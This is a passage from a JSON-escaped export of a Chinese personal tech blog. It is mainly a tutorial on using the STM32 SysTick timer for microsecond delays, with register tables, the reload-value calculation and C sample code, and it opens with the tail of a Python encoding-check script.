punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eitem\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n共%d个错误!\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;请检查错误文件手动修改编码\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#39;\\r\\n-----------------------------\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e main\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#STM32%E4%BD%BF%E7%94%A8SysTick%E5%AE%9A%E6%97%B6%E5%99%A8%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近在学习Stm32 HAL库相关教程\u003cdel\u003e(之前都是xjb缝合,缺少点原理的理解\u003c/del\u003e,在看到TM1640(一个可以方便在数码管上显示内容的模块)驱动编写的过程需要用到us 级别的延时,而HAL 库的 \u003ccode\u003eHal_Dealy()\u003c/code\u003e 的函数是ms 级别的,所以需要自己手动编写一个更精准的延时函数。看教程里几行不知所云,在搜索过程中大概了解到了几种写发,但是感觉比较优雅的是使用 \u003cstrong\u003eSysTick定时器\u003c/strong\u003e 进行延时。但是几篇教程在原理处比较简略,所以根据个人理解学习了一下。\u003c/p\u003e\u003ch2 id=\"参考目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%8F%82%E8%80%83%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"参考目录\"\u003e\u003c/a\u003e参考目录\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e《ARM Cortex-M3 权威指南》第3版\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Fireflycjd/p/14304902.html\"\u003eSTM32延时函数的四种方法 - Fireflycjd - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/xuqu607/p/13737040.html\"\u003eSTM32的SysTick延时方法 - 代码争霸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Leisure_ksj/article/details/105273110\"\u003eSTM32学习心得九:Systick滴答定时器和延时函数解读_天亮继续睡的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/haha690/article/details/111053367\"\u003estm32的systick(滴答定时器)实现精准延时_haha690的博客-CSDN博客_stm32精准定时\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://weibo01.blog.csdn.net/article/details/81136564\"\u003eSTM32延时函数的四种方法:普通延时(2种)、SysTick 定时器延时(2种)_魏波-的博客-CSDN博客_delayms延时函数用法\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://waka-can.blog.csdn.net/article/details/106527001?spm=1001.2014.3001.5506\"\u003e关于STM32单片机延时微妙(delay_us)函数-hal库_好奇龙猫的博客-CSDN博客_delay_us\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Firefly_cjd/article/details/106709259?spm=1001.2014.3001.5506\"\u003eSTM32延时函数的四种方法_strongercjd的博客-CSDN博客_stm32延时函数\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://shequ.stmicroelectronics.cn/forum.php?mod=viewthread\u0026amp;tid=628767\"\u003eSTM32高精度延时实验 (stmicroelectronics.cn)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"几种延时方法\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%87%A0%E7%A7%8D%E5%BB%B6%E6%97%B6%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"几种延时方法\"\u003e\u003c/a\u003e几种延时方法\u003c/h2\u003e\u003cp\u003e第一种比较粗暴,就是让单片机做一些无关紧要的工作来打发时间,比如写点循环;\u003c/p\u003e\u003cp\u003e第二种是用汇编指令,和第一种大同小异;\u003c/p\u003e\u003cp\u003e第三种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e中断\u003c/strong\u003e 的方式;\u003c/p\u003e\u003cp\u003e第四种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e查询\u003c/strong\u003e 的方式,也就是 \u003cstrong\u003e本次使用的方法\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e……(前三种可以在参考目录找到具体实现\u003c/p\u003e\u003ch2 id=\"SysTick-定时器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"SysTick 定时器\"\u003e\u003c/a\u003eSysTick 定时器\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e详细资料可以阅读 《ARM Cortex-M3 权威指南》第3版 9.5 SysTick 定时器。\u003c/p\u003e\u003cp\u003eSysTick 定时器是 Cortex-M 处理器内部集成的一个小型定时器,属于NVIC 的一部分,可以产生SysTick 异常。SysTick 为简单的向下计数的24位计数器,可以使用处理器时钟或者外部时钟。\u003c/p\u003e\u003cp\u003eSysTick 定时器可用作简单的定时器外设,用以产生周期性中断,延时或时间测量。\u003c/p\u003e\u003ch3 id=\"SyTick-定时器的寄存器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SyTick-%E5%AE%9A%E6%97%B6%E5%99%A8%E7%9A%84%E5%AF%84%E5%AD%98%E5%99%A8\" class=\"headerlink\" title=\"SyTick 定时器的寄存器\"\u003e\u003c/a\u003eSyTick 定时器的寄存器\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e地址\u003c/th\u003e\u003cth\u003eCMSIS-Core 符号\u003c/th\u003e\u003cth\u003e寄存器\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0xE000E010\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 控制和状态寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E014\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 重装值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E018\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 当前值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E01C\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 校准值寄存器\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-控制和状态寄存器(SysTick-gt-CTRL)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E6%8E%A7%E5%88%B6%E5%92%8C%E7%8A%B6%E6%80%81%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CTRL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 控制和状态寄存器(SysTick -\u0026gt; CTRL)\"\u003e\u003c/a\u003eSysTick 控制和状态寄存器(\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位段\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e16\u003c/td\u003e\u003ctd\u003eCOUNTFLAG\u003c/td\u003e\u003ctd\u003eRO\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e当SYSTICK 定时器计数到0时,该位变成1,读取寄存器或清除计数器当前值会被清零\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eCLKSOURCE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0 = 外部参考时钟(STCLK);\u003cbr/\u003e1 = 使用内核时钟\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eTOCKINT\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e1 = SYSTICK 定时器计数减至0时产生异常 \u003cbr/\u003e0 = 不产生异常\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eENABLE\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eSYSTICK 定时器使能\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-重装值寄存器(SysTick-gt-LOAD)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E9%87%8D%E8%A3%85%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-LOAD%EF%BC%89\" class=\"headerlink\" title=\"SysTick 重装值寄存器(SysTick -\u0026gt; LOAD)\"\u003e\u003c/a\u003eSysTick 重装值寄存器(\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eRELOAD\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e未定义\u003c/td\u003e\u003ctd\u003e定时器为0时的重装载值\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-当前值寄存器(SysTick-gt-VAL)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E5%BD%93%E5%89%8D%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-VAL%EF%BC%89\" class=\"headerlink\" title=\"SysTick 当前值寄存器(SysTick -\u0026gt; VAL)\"\u003e\u003c/a\u003eSysTick 当前值寄存器(\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类信\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eCURRENT\u003c/td\u003e\u003ctd\u003eR/Wc\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e读出值位SYSTICK 定时器的当前数值。写入任何值都会清除寄存器,SYSTICK 控制和状态寄存器中的 COUNTFLAG 也会清零\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-校准值寄存器(SysTick-gt-CALIB)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#SysTick-%E6%A0%A1%E5%87%86%E5%80%BC%E5%AF%84%E5%AD%98%E5%99%A8%EF%BC%88SysTick-gt-CALIB%EF%BC%89\" class=\"headerlink\" title=\"SysTick 校准值寄存器(SysTick -\u0026gt; CALIB)\"\u003e\u003c/a\u003eSysTick 校准值寄存器(\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e31\u003c/td\u003e\u003ctd\u003eNOREF\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1 = 没有外部参考时钟(STCLK 不可用)\u003cbr/\u003e0 = 有外部参考时钟可供使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e30\u003c/td\u003e\u003ctd\u003eSKEW\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1= 校准值并非精准的 10ms\u003cbr/\u003e0 = 校准值准确\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eTENMS\u003c/td\u003e\u003ctd\u003eR/W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e10毫秒校准值。芯片设计者应通过 Cortex-M3 的输入信号提供该数值,若读出为0,则表示校准值不可用。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"使用-SysTick-定时器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%BD%BF%E7%94%A8-SysTick-%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"使用 SysTick 定时器\"\u003e\u003c/a\u003e使用 SysTick 定时器\u003c/h3\u003e\u003ch4 id=\"主要流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E4%B8%BB%E8%A6%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"主要流程\"\u003e\u003c/a\u003e主要流程\u003c/h4\u003e\u003cp\u003e本次使用查询的方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e将0写入 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 禁止 SysTick 定时器,防止之前 SysTick 定时器在之前被使能过;\u003c/li\u003e\u003cli\u003e将新的重加载值写入 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,重加载值应为周期数减1(因为是倒数到0);\u003c/li\u003e\u003cli\u003e将任何数值写入 SysTick 当前值寄存器 \u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e ,该寄存器会被清零;\u003c/li\u003e\u003cli\u003e写入 SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 启动寄存器\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"延时原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%BB%B6%E6%97%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"延时原理\"\u003e\u003c/a\u003e延时原理\u003c/h4\u003e\u003cp\u003e利用SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 中的 \u003cstrong\u003e计数标志位\u003c/strong\u003e 来确定定时器合适变为0.可以设置 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e 的值,然后等待计数标志位变为0,以此实现延时。\u003c/p\u003e\u003cp\u003e示例代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置计数周期为256 (255~0)\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e LOAD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0XFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 清零当前值寄存器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e VAL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5 = b\u0026#39;101\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位0 = 1 为使能SYSTICK定时器\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位2 = 1 表示使用内核时钟\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 0x00010000 = 1\u0026lt;\u0026lt;16\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 通过查询 SysTick -\u0026gt; CTRL 第16位标志位判断计数器是否计数到0\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x00010000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"进行-us-级别延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E8%BF%9B%E8%A1%8C-us-%E7%BA%A7%E5%88%AB%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"进行 us 级别延时\"\u003e\u003c/a\u003e进行 us 级别延时\u003c/h3\u003e\u003ch4 id=\"关于时钟\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E5%85%B3%E4%BA%8E%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"关于时钟\"\u003e\u003c/a\u003e关于时钟\u003c/h4\u003e\u003cp\u003e本次选用外部时钟。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对于STM32,外部时钟源是HCLK(AHB总线时钟)的1/8,内核时钟是HCLK时钟\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e)可以翻出来 CubeMX 的时钟树看一眼\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\"/\u003e\u003c/p\u003e\u003cp\u003e以f103 为例,这里HCLK 为72MHz,那么SYSTICK 的时钟为9MHz,即 \u003cstrong\u003eSYSTICK定时器以9MHz的频率递减\u003c/strong\u003e 。\u003c/p\u003e\u003ch4 id=\"计算\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"计算\"\u003e\u003c/a\u003e计算\u003c/h4\u003e\u003cp\u003e如果要获取 \u003cstrong\u003eN\u003c/strong\u003eus的延迟,那么我们需要计算出 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,即重加载值\u003c/p\u003e\u003cp\u003e容易得到:\u003c/p\u003e\u003cp\u003e$1s = 10^6us$\u003c/p\u003e\u003cp\u003e$$Nus=T\\times LOAD=\\frac{LOAD}{SYSTICK}\\times 10^6$$\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times SysTick \\times 10^{-6}$$\u003c/p\u003e\u003cp\u003e已知有:\u003c/p\u003e\u003cp\u003e$HCLK=72MHz$\u003c/p\u003e\u003cp\u003e$SYSTICK=9MHz$\u003c/p\u003e\u003cp\u003e代入具体数值可以得到:\u003c/p\u003e\u003cp\u003e$LOAD=Nus\\times9\\times 10^6\\times 10^{-6}$\u003c/p\u003e\u003cp\u003e最后得到\u003c/p\u003e\u003cp\u003e$$LOAD=Nus\\times9$$\u003c/p\u003e\u003ch4 id=\"72M主频代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#72M%E4%B8%BB%E9%A2%91%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"72M主频代码\"\u003e\u003c/a\u003e72M主频代码\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e)博客里面xjb找了一段\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"us级延时\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/463a/#us%E7%BA%A7%E5%BB%B6%E6%97%B6\" class=\"headerlink\" title=\"us级延时\"\u003e\u003c/a\u003eus级延时\u003c/h5\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序起始处)*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token 